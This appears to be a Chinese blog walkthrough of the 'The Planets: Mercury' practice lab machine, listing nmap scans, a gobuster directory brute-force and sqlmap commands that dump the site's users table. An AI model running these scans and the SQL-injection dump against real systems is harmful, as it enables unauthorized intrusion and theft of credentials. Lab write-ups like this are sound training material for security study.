THE PLANETS MERCURY

最新推荐文章于 2024-05-23 14:59:34 发布

辉小鱼~

最新推荐文章于 2024-05-23 14:59:34 发布

阅读量30

点赞数

分类专栏：红队笔记专栏文章标签： Linux linux 网络网络安全

本文链接：https://blog.csdn.net/weixin_61427044/article/details/131498954

版权

红队笔记专栏专栏收录该内容

10 篇文章 1 订阅

订阅专栏

靶机精讲之 THE PLANETS MERCURY

# C段
sudo nmap -sn 192.168.28.0/24 

# 端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.28.32 -oA nmapscan/ports

# 详细信息扫描
sudo nmap -sT -sV -sC -O -p22,8080 192.168.28.32 -oA nmapscan/detail

# UDP
sudo nmap -sU --min-rate 10000 -p- 192.168.28.32 -oA nmapscan/udp
sudo nmap -sU --top-ports 20 192.168.28.32 -oA nmapscan/udp

# 漏洞扫描
sudo nmap --script=vuln -p22,8080 192.168.28.32

端口扫描

详细信息扫描

UDP扫描

192.168.28.32:8080

漏洞脚本扫描

目录爆破

sudo gobuster dir -u http://192.168.28.32:8080 -w /usr/share/dirbuster/wordlist/directory-list-2.3-medium.txt

SQL注入

sudo sqlmap -u http://192.168.28.32:8080/mercuryfacts/1 --dbms mysql --dbs
sudo sqlmap -u http://192.168.28.32:8080/mercuryfacts/1 --dbms mysql -D mercury -tables --batch
sudo sqlmap -u http://192.168.28.32:8080/mercuryfacts/1 --dbms mysql -D mercury -T users --dump --batch